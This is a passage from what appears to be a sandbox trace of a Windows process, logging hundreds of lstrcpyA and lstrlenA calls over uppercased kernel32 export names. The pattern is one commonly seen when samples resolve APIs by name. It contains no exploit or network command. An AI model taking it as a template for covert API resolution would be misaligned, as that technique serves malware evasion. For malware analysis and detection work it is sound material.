(lpString="BASEPQUERYAPPCOMPAT") returned 19 [0132.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseAppXContext" | out: lpString1="BasepReleaseAppXContext") returned="BasepReleaseAppXContext" [0132.970] lstrlenA (lpString="BASEPRELEASEAPPXCONTEXT") returned 23 [0132.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReleaseSxsCreateProcessUtilityStruct" | out: lpString1="BasepReleaseSxsCreateProcessUtilityStruct") returned="BasepReleaseSxsCreateProcessUtilityStruct" [0132.970] lstrlenA (lpString="BASEPRELEASESXSCREATEPROCESSUTILITYSTRUCT") returned 41 [0132.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepReportFault" | out: lpString1="BasepReportFault") returned="BasepReportFault" [0132.970] lstrlenA (lpString="BASEPREPORTFAULT") returned 16 [0132.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BasepSetFileEncryptionCompression" | out: lpString1="BasepSetFileEncryptionCompression") returned="BasepSetFileEncryptionCompression" [0132.970] lstrlenA (lpString="BASEPSETFILEENCRYPTIONCOMPRESSION") returned 33 [0132.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="Beep" | out: lpString1="Beep") returned="Beep" [0132.970] lstrlenA (lpString="BEEP") returned 4 [0132.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceA" | out: lpString1="BeginUpdateResourceA") returned="BeginUpdateResourceA" [0132.970] lstrlenA (lpString="BEGINUPDATERESOURCEA") returned 20 [0132.970] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BeginUpdateResourceW" | out: lpString1="BeginUpdateResourceW") returned="BeginUpdateResourceW" [0132.970] lstrlenA (lpString="BEGINUPDATERESOURCEW") returned 20 [0132.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BindIoCompletionCallback" | out: lpString1="BindIoCompletionCallback") returned="BindIoCompletionCallback" [0132.971] lstrlenA (lpString="BINDIOCOMPLETIONCALLBACK") returned 24 [0132.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBA" | out: lpString1="BuildCommDCBA") returned="BuildCommDCBA" [0132.971] lstrlenA (lpString="BUILDCOMMDCBA") returned 13 [0132.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsA" | out: lpString1="BuildCommDCBAndTimeoutsA") returned="BuildCommDCBAndTimeoutsA" [0132.971] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSA") returned 24 [0132.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBAndTimeoutsW" | out: lpString1="BuildCommDCBAndTimeoutsW") returned="BuildCommDCBAndTimeoutsW" [0132.971] lstrlenA (lpString="BUILDCOMMDCBANDTIMEOUTSW") returned 24 [0132.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="BuildCommDCBW" | out: lpString1="BuildCommDCBW") returned="BuildCommDCBW" [0132.971] lstrlenA (lpString="BUILDCOMMDCBW") returned 13 [0132.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeA" | out: lpString1="CallNamedPipeA") returned="CallNamedPipeA" [0132.971] lstrlenA (lpString="CALLNAMEDPIPEA") returned 14 [0132.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallNamedPipeW" | out: lpString1="CallNamedPipeW") returned="CallNamedPipeW" [0132.971] lstrlenA (lpString="CALLNAMEDPIPEW") returned 14 [0132.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CallbackMayRunLong" | out: lpString1="CallbackMayRunLong") returned="CallbackMayRunLong" [0132.971] lstrlenA (lpString="CALLBACKMAYRUNLONG") returned 18 [0132.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelDeviceWakeupRequest" | out: lpString1="CancelDeviceWakeupRequest") returned="CancelDeviceWakeupRequest" [0132.971] lstrlenA (lpString="CANCELDEVICEWAKEUPREQUEST") returned 25 [0132.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIo" | out: lpString1="CancelIo") returned="CancelIo" [0132.971] lstrlenA (lpString="CANCELIO") returned 8 [0132.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelIoEx" | out: lpString1="CancelIoEx") returned="CancelIoEx" [0132.971] lstrlenA (lpString="CANCELIOEX") returned 10 [0132.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelSynchronousIo" | out: lpString1="CancelSynchronousIo") returned="CancelSynchronousIo" [0132.971] lstrlenA (lpString="CANCELSYNCHRONOUSIO") returned 19 [0132.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelThreadpoolIo" | out: lpString1="CancelThreadpoolIo") returned="CancelThreadpoolIo" [0132.971] lstrlenA (lpString="CANCELTHREADPOOLIO") returned 18 [0132.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelTimerQueueTimer" | out: lpString1="CancelTimerQueueTimer") returned="CancelTimerQueueTimer" [0132.971] lstrlenA (lpString="CANCELTIMERQUEUETIMER") returned 21 [0132.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CancelWaitableTimer" | out: lpString1="CancelWaitableTimer") returned="CancelWaitableTimer" [0132.971] lstrlenA (lpString="CANCELWAITABLETIMER") returned 19 [0132.971] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CeipIsOptedIn" | out: lpString1="CeipIsOptedIn") returned="CeipIsOptedIn" [0132.971] lstrlenA (lpString="CEIPISOPTEDIN") returned 13 [0132.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ChangeTimerQueueTimer" | out: lpString1="ChangeTimerQueueTimer") returned="ChangeTimerQueueTimer" [0132.972] lstrlenA (lpString="CHANGETIMERQUEUETIMER") returned 21 [0132.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckAllowDecryptedRemoteDestinationPolicy" | out: lpString1="CheckAllowDecryptedRemoteDestinationPolicy") returned="CheckAllowDecryptedRemoteDestinationPolicy" [0132.972] lstrlenA (lpString="CHECKALLOWDECRYPTEDREMOTEDESTINATIONPOLICY") returned 42 [0132.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevation" | out: lpString1="CheckElevation") returned="CheckElevation" [0132.972] lstrlenA (lpString="CHECKELEVATION") returned 14 [0132.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckElevationEnabled" | out: lpString1="CheckElevationEnabled") returned="CheckElevationEnabled" [0132.972] lstrlenA (lpString="CHECKELEVATIONENABLED") returned 21 [0132.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResource" | out: lpString1="CheckForReadOnlyResource") returned="CheckForReadOnlyResource" [0132.972] lstrlenA (lpString="CHECKFORREADONLYRESOURCE") returned 24 [0132.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckForReadOnlyResourceFilter" | out: lpString1="CheckForReadOnlyResourceFilter") returned="CheckForReadOnlyResourceFilter" [0132.972] lstrlenA (lpString="CHECKFORREADONLYRESOURCEFILTER") returned 30 [0132.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3A" | out: lpString1="CheckNameLegalDOS8Dot3A") returned="CheckNameLegalDOS8Dot3A" [0132.972] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3A") returned 23 [0132.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckNameLegalDOS8Dot3W" | out: lpString1="CheckNameLegalDOS8Dot3W") returned="CheckNameLegalDOS8Dot3W" [0132.972] lstrlenA (lpString="CHECKNAMELEGALDOS8DOT3W") returned 23 [0132.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckRemoteDebuggerPresent" | out: lpString1="CheckRemoteDebuggerPresent") returned="CheckRemoteDebuggerPresent" [0132.972] lstrlenA (lpString="CHECKREMOTEDEBUGGERPRESENT") returned 26 [0132.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenCapability" | out: lpString1="CheckTokenCapability") returned="CheckTokenCapability" [0132.972] lstrlenA (lpString="CHECKTOKENCAPABILITY") returned 20 [0132.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CheckTokenMembershipEx" | out: lpString1="CheckTokenMembershipEx") returned="CheckTokenMembershipEx" [0132.972] lstrlenA (lpString="CHECKTOKENMEMBERSHIPEX") returned 22 [0132.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommBreak" | out: lpString1="ClearCommBreak") returned="ClearCommBreak" [0132.972] lstrlenA (lpString="CLEARCOMMBREAK") returned 14 [0132.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClearCommError" | out: lpString1="ClearCommError") returned="ClearCommError" [0132.972] lstrlenA (lpString="CLEARCOMMERROR") returned 14 [0132.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseConsoleHandle" | out: lpString1="CloseConsoleHandle") returned="CloseConsoleHandle" [0132.972] lstrlenA (lpString="CLOSECONSOLEHANDLE") returned 18 [0132.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseHandle" | out: lpString1="CloseHandle") returned="CloseHandle" [0132.972] lstrlenA (lpString="CLOSEHANDLE") returned 11 [0132.972] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePackageInfo" | out: lpString1="ClosePackageInfo") returned="ClosePackageInfo" [0132.973] lstrlenA (lpString="CLOSEPACKAGEINFO") returned 16 [0132.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ClosePrivateNamespace" | out: lpString1="ClosePrivateNamespace") returned="ClosePrivateNamespace" [0132.973] lstrlenA (lpString="CLOSEPRIVATENAMESPACE") returned 21 [0132.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseProfileUserMapping" | out: lpString1="CloseProfileUserMapping") returned="CloseProfileUserMapping" [0132.973] lstrlenA (lpString="CLOSEPROFILEUSERMAPPING") returned 23 [0132.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseState" | out: lpString1="CloseState") returned="CloseState" [0132.973] lstrlenA (lpString="CLOSESTATE") returned 10 [0132.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpool" | out: lpString1="CloseThreadpool") returned="CloseThreadpool" [0132.973] lstrlenA (lpString="CLOSETHREADPOOL") returned 15 [0132.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroup" | out: lpString1="CloseThreadpoolCleanupGroup") returned="CloseThreadpoolCleanupGroup" [0132.973] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUP") returned 27 [0132.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolCleanupGroupMembers" | out: lpString1="CloseThreadpoolCleanupGroupMembers") returned="CloseThreadpoolCleanupGroupMembers" [0132.973] lstrlenA (lpString="CLOSETHREADPOOLCLEANUPGROUPMEMBERS") returned 34 [0132.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolIo" | out: lpString1="CloseThreadpoolIo") returned="CloseThreadpoolIo" [0132.973] lstrlenA (lpString="CLOSETHREADPOOLIO") returned 17 [0132.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolTimer" | out: lpString1="CloseThreadpoolTimer") returned="CloseThreadpoolTimer" [0132.973] lstrlenA (lpString="CLOSETHREADPOOLTIMER") returned 20 [0132.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWait" | out: lpString1="CloseThreadpoolWait") returned="CloseThreadpoolWait" [0132.973] lstrlenA (lpString="CLOSETHREADPOOLWAIT") returned 19 [0132.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CloseThreadpoolWork" | out: lpString1="CloseThreadpoolWork") returned="CloseThreadpoolWork" [0132.973] lstrlenA (lpString="CLOSETHREADPOOLWORK") returned 19 [0132.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CmdBatNotification" | out: lpString1="CmdBatNotification") returned="CmdBatNotification" [0132.973] lstrlenA (lpString="CMDBATNOTIFICATION") returned 18 [0132.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogA" | out: lpString1="CommConfigDialogA") returned="CommConfigDialogA" [0132.973] lstrlenA (lpString="COMMCONFIGDIALOGA") returned 17 [0132.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CommConfigDialogW" | out: lpString1="CommConfigDialogW") returned="CommConfigDialogW" [0132.973] lstrlenA (lpString="COMMCONFIGDIALOGW") returned 17 [0132.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareCalendarDates" | out: lpString1="CompareCalendarDates") returned="CompareCalendarDates" [0132.973] lstrlenA (lpString="COMPARECALENDARDATES") returned 20 [0132.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareFileTime" | out: lpString1="CompareFileTime") returned="CompareFileTime" [0132.973] lstrlenA (lpString="COMPAREFILETIME") returned 15 [0132.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringA" | out: lpString1="CompareStringA") returned="CompareStringA" [0132.973] lstrlenA (lpString="COMPARESTRINGA") returned 14 [0132.973] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringEx" | out: lpString1="CompareStringEx") returned="CompareStringEx" [0132.974] lstrlenA (lpString="COMPARESTRINGEX") returned 15 [0132.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringOrdinal" | out: lpString1="CompareStringOrdinal") returned="CompareStringOrdinal" [0132.974] lstrlenA (lpString="COMPARESTRINGORDINAL") returned 20 [0132.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CompareStringW" | out: lpString1="CompareStringW") returned="CompareStringW" [0132.974] lstrlenA (lpString="COMPARESTRINGW") returned 14 [0132.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConnectNamedPipe" | out: lpString1="ConnectNamedPipe") returned="ConnectNamedPipe" [0132.974] lstrlenA (lpString="CONNECTNAMEDPIPE") returned 16 [0132.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConsoleMenuControl" | out: lpString1="ConsoleMenuControl") returned="ConsoleMenuControl" [0132.974] lstrlenA (lpString="CONSOLEMENUCONTROL") returned 18 [0132.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ContinueDebugEvent" | out: lpString1="ContinueDebugEvent") returned="ContinueDebugEvent" [0132.974] lstrlenA (lpString="CONTINUEDEBUGEVENT") returned 18 [0132.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertCalDateTimeToSystemTime" | out: lpString1="ConvertCalDateTimeToSystemTime") returned="ConvertCalDateTimeToSystemTime" [0132.974] lstrlenA (lpString="CONVERTCALDATETIMETOSYSTEMTIME") returned 30 [0132.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertDefaultLocale" | out: lpString1="ConvertDefaultLocale") returned="ConvertDefaultLocale" [0132.974] lstrlenA (lpString="CONVERTDEFAULTLOCALE") returned 20 [0132.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertFiberToThread" | out: lpString1="ConvertFiberToThread") returned="ConvertFiberToThread" [0132.974] lstrlenA (lpString="CONVERTFIBERTOTHREAD") returned 20 [0132.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertNLSDayOfWeekToWin32DayOfWeek" | out: lpString1="ConvertNLSDayOfWeekToWin32DayOfWeek") returned="ConvertNLSDayOfWeekToWin32DayOfWeek" [0132.974] lstrlenA (lpString="CONVERTNLSDAYOFWEEKTOWIN32DAYOFWEEK") returned 35 [0132.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertSystemTimeToCalDateTime" | out: lpString1="ConvertSystemTimeToCalDateTime") returned="ConvertSystemTimeToCalDateTime" [0132.974] lstrlenA (lpString="CONVERTSYSTEMTIMETOCALDATETIME") returned 30 [0132.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiber" | out: lpString1="ConvertThreadToFiber") returned="ConvertThreadToFiber" [0132.974] lstrlenA (lpString="CONVERTTHREADTOFIBER") returned 20 [0132.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="ConvertThreadToFiberEx" | out: lpString1="ConvertThreadToFiberEx") returned="ConvertThreadToFiberEx" [0132.974] lstrlenA (lpString="CONVERTTHREADTOFIBEREX") returned 22 [0132.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyContext" | out: lpString1="CopyContext") returned="CopyContext" [0132.974] lstrlenA (lpString="COPYCONTEXT") returned 11 [0132.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFile2" | out: lpString1="CopyFile2") returned="CopyFile2" [0132.974] lstrlenA (lpString="COPYFILE2") returned 9 [0132.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileA" | out: lpString1="CopyFileA") returned="CopyFileA" [0132.974] lstrlenA (lpString="COPYFILEA") returned 9 [0132.974] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExA" | out: lpString1="CopyFileExA") returned="CopyFileExA" [0132.975] lstrlenA (lpString="COPYFILEEXA") returned 11 [0132.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileExW" | out: lpString1="CopyFileExW") returned="CopyFileExW" [0132.975] lstrlenA (lpString="COPYFILEEXW") returned 11 [0132.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedA" | out: lpString1="CopyFileTransactedA") returned="CopyFileTransactedA" [0132.975] lstrlenA (lpString="COPYFILETRANSACTEDA") returned 19 [0132.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileTransactedW" | out: lpString1="CopyFileTransactedW") returned="CopyFileTransactedW" [0132.975] lstrlenA (lpString="COPYFILETRANSACTEDW") returned 19 [0132.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyFileW" | out: lpString1="CopyFileW") returned="CopyFileW" [0132.975] lstrlenA (lpString="COPYFILEW") returned 9 [0132.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CopyLZFile" | out: lpString1="CopyLZFile") returned="CopyLZFile" [0132.975] lstrlenA (lpString="COPYLZFILE") returned 10 [0132.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxA" | out: lpString1="CreateActCtxA") returned="CreateActCtxA" [0132.975] lstrlenA (lpString="CREATEACTCTXA") returned 13 [0132.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxW" | out: lpString1="CreateActCtxW") returned="CreateActCtxW" [0132.975] lstrlenA (lpString="CREATEACTCTXW") returned 13 [0132.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateActCtxWWorker" | out: lpString1="CreateActCtxWWorker") returned="CreateActCtxWWorker" [0132.975] lstrlenA (lpString="CREATEACTCTXWWORKER") returned 19 [0132.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorA" | out: lpString1="CreateBoundaryDescriptorA") returned="CreateBoundaryDescriptorA" [0132.975] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORA") returned 25 [0132.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateBoundaryDescriptorW" | out: lpString1="CreateBoundaryDescriptorW") returned="CreateBoundaryDescriptorW" [0132.975] lstrlenA (lpString="CREATEBOUNDARYDESCRIPTORW") returned 25 [0132.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateConsoleScreenBuffer" | out: lpString1="CreateConsoleScreenBuffer") returned="CreateConsoleScreenBuffer" [0132.975] lstrlenA (lpString="CREATECONSOLESCREENBUFFER") returned 25 [0132.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryA" | out: lpString1="CreateDirectoryA") returned="CreateDirectoryA" [0132.975] lstrlenA (lpString="CREATEDIRECTORYA") returned 16 [0132.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExA" | out: lpString1="CreateDirectoryExA") returned="CreateDirectoryExA" [0132.975] lstrlenA (lpString="CREATEDIRECTORYEXA") returned 18 [0132.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryExW" | out: lpString1="CreateDirectoryExW") returned="CreateDirectoryExW" [0132.975] lstrlenA (lpString="CREATEDIRECTORYEXW") returned 18 [0132.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedA" | out: lpString1="CreateDirectoryTransactedA") returned="CreateDirectoryTransactedA" [0132.975] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDA") returned 26 [0132.975] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryTransactedW" | out: lpString1="CreateDirectoryTransactedW") returned="CreateDirectoryTransactedW" [0132.976] lstrlenA (lpString="CREATEDIRECTORYTRANSACTEDW") returned 26 [0132.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateDirectoryW" | out: lpString1="CreateDirectoryW") returned="CreateDirectoryW" [0132.976] lstrlenA (lpString="CREATEDIRECTORYW") returned 16 [0132.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEnclave" | out: lpString1="CreateEnclave") returned="CreateEnclave" [0132.976] lstrlenA (lpString="CREATEENCLAVE") returned 13 [0132.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventA" | out: lpString1="CreateEventA") returned="CreateEventA" [0132.976] lstrlenA (lpString="CREATEEVENTA") returned 12 [0132.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExA" | out: lpString1="CreateEventExA") returned="CreateEventExA" [0132.976] lstrlenA (lpString="CREATEEVENTEXA") returned 14 [0132.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventExW" | out: lpString1="CreateEventExW") returned="CreateEventExW" [0132.976] lstrlenA (lpString="CREATEEVENTEXW") returned 14 [0132.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateEventW" | out: lpString1="CreateEventW") returned="CreateEventW" [0132.976] lstrlenA (lpString="CREATEEVENTW") returned 12 [0132.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiber" | out: lpString1="CreateFiber") returned="CreateFiber" [0132.976] lstrlenA (lpString="CREATEFIBER") returned 11 [0132.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFiberEx" | out: lpString1="CreateFiberEx") returned="CreateFiberEx" [0132.976] lstrlenA (lpString="CREATEFIBEREX") returned 13 [0132.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFile2" | out: lpString1="CreateFile2") returned="CreateFile2" [0132.976] lstrlenA (lpString="CREATEFILE2") returned 11 [0132.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileA" | out: lpString1="CreateFileA") returned="CreateFileA" [0132.976] lstrlenA (lpString="CREATEFILEA") returned 11 [0132.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingA" | out: lpString1="CreateFileMappingA") returned="CreateFileMappingA" [0132.976] lstrlenA (lpString="CREATEFILEMAPPINGA") returned 18 [0132.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingFromApp" | out: lpString1="CreateFileMappingFromApp") returned="CreateFileMappingFromApp" [0132.976] lstrlenA (lpString="CREATEFILEMAPPINGFROMAPP") returned 24 [0132.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaA" | out: lpString1="CreateFileMappingNumaA") returned="CreateFileMappingNumaA" [0132.976] lstrlenA (lpString="CREATEFILEMAPPINGNUMAA") returned 22 [0132.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingNumaW" | out: lpString1="CreateFileMappingNumaW") returned="CreateFileMappingNumaW" [0132.976] lstrlenA (lpString="CREATEFILEMAPPINGNUMAW") returned 22 [0132.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileMappingW" | out: lpString1="CreateFileMappingW") returned="CreateFileMappingW" [0132.976] lstrlenA (lpString="CREATEFILEMAPPINGW") returned 18 [0132.976] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedA" | out: lpString1="CreateFileTransactedA") returned="CreateFileTransactedA" [0132.976] lstrlenA (lpString="CREATEFILETRANSACTEDA") returned 21 [0132.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileTransactedW" | out: lpString1="CreateFileTransactedW") returned="CreateFileTransactedW" [0132.977] lstrlenA (lpString="CREATEFILETRANSACTEDW") returned 21 [0132.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateFileW" | out: lpString1="CreateFileW") returned="CreateFileW" [0132.977] lstrlenA (lpString="CREATEFILEW") returned 11 [0132.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkA" | out: lpString1="CreateHardLinkA") returned="CreateHardLinkA" [0132.977] lstrlenA (lpString="CREATEHARDLINKA") returned 15 [0132.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedA" | out: lpString1="CreateHardLinkTransactedA") returned="CreateHardLinkTransactedA" [0132.977] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDA") returned 25 [0132.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkTransactedW" | out: lpString1="CreateHardLinkTransactedW") returned="CreateHardLinkTransactedW" [0132.977] lstrlenA (lpString="CREATEHARDLINKTRANSACTEDW") returned 25 [0132.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateHardLinkW" | out: lpString1="CreateHardLinkW") returned="CreateHardLinkW" [0132.977] lstrlenA (lpString="CREATEHARDLINKW") returned 15 [0132.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateIoCompletionPort" | out: lpString1="CreateIoCompletionPort") returned="CreateIoCompletionPort" [0132.977] lstrlenA (lpString="CREATEIOCOMPLETIONPORT") returned 22 [0132.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectA" | out: lpString1="CreateJobObjectA") returned="CreateJobObjectA" [0132.977] lstrlenA (lpString="CREATEJOBOBJECTA") returned 16 [0132.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobObjectW" | out: lpString1="CreateJobObjectW") returned="CreateJobObjectW" [0132.977] lstrlenA (lpString="CREATEJOBOBJECTW") returned 16 [0132.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateJobSet" | out: lpString1="CreateJobSet") returned="CreateJobSet" [0132.977] lstrlenA (lpString="CREATEJOBSET") returned 12 [0132.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotA" | out: lpString1="CreateMailslotA") returned="CreateMailslotA" [0132.977] lstrlenA (lpString="CREATEMAILSLOTA") returned 15 [0132.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMailslotW" | out: lpString1="CreateMailslotW") returned="CreateMailslotW" [0132.977] lstrlenA (lpString="CREATEMAILSLOTW") returned 15 [0132.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMemoryResourceNotification" | out: lpString1="CreateMemoryResourceNotification") returned="CreateMemoryResourceNotification" [0132.977] lstrlenA (lpString="CREATEMEMORYRESOURCENOTIFICATION") returned 32 [0132.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexA" | out: lpString1="CreateMutexA") returned="CreateMutexA" [0132.977] lstrlenA (lpString="CREATEMUTEXA") returned 12 [0132.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExA" | out: lpString1="CreateMutexExA") returned="CreateMutexExA" [0132.977] lstrlenA (lpString="CREATEMUTEXEXA") returned 14 [0132.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexExW" | out: lpString1="CreateMutexExW") returned="CreateMutexExW" [0132.977] lstrlenA (lpString="CREATEMUTEXEXW") returned 14 [0132.977] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateMutexW" | out: lpString1="CreateMutexW") returned="CreateMutexW" [0132.978] lstrlenA (lpString="CREATEMUTEXW") returned 12 [0132.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeA" | out: lpString1="CreateNamedPipeA") returned="CreateNamedPipeA" [0132.978] lstrlenA (lpString="CREATENAMEDPIPEA") returned 16 [0132.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateNamedPipeW" | out: lpString1="CreateNamedPipeW") returned="CreateNamedPipeW" [0132.978] lstrlenA (lpString="CREATENAMEDPIPEW") returned 16 [0132.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePipe" | out: lpString1="CreatePipe") returned="CreatePipe" [0132.978] lstrlenA (lpString="CREATEPIPE") returned 10 [0132.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceA" | out: lpString1="CreatePrivateNamespaceA") returned="CreatePrivateNamespaceA" [0132.978] lstrlenA (lpString="CREATEPRIVATENAMESPACEA") returned 23 [0132.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreatePrivateNamespaceW" | out: lpString1="CreatePrivateNamespaceW") returned="CreatePrivateNamespaceW" [0132.978] lstrlenA (lpString="CREATEPRIVATENAMESPACEW") returned 23 [0132.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessA" | out: lpString1="CreateProcessA") returned="CreateProcessA" [0132.978] lstrlenA (lpString="CREATEPROCESSA") returned 14 [0132.978] lstrcpyA (in: lpString1=0x38bdb2c, lpString2="CreateProcessAsUserA" | out: lpString1="CreateProcessAsUserA") returned="CreateProcessAsUserA" [0132.978] lstrlenA 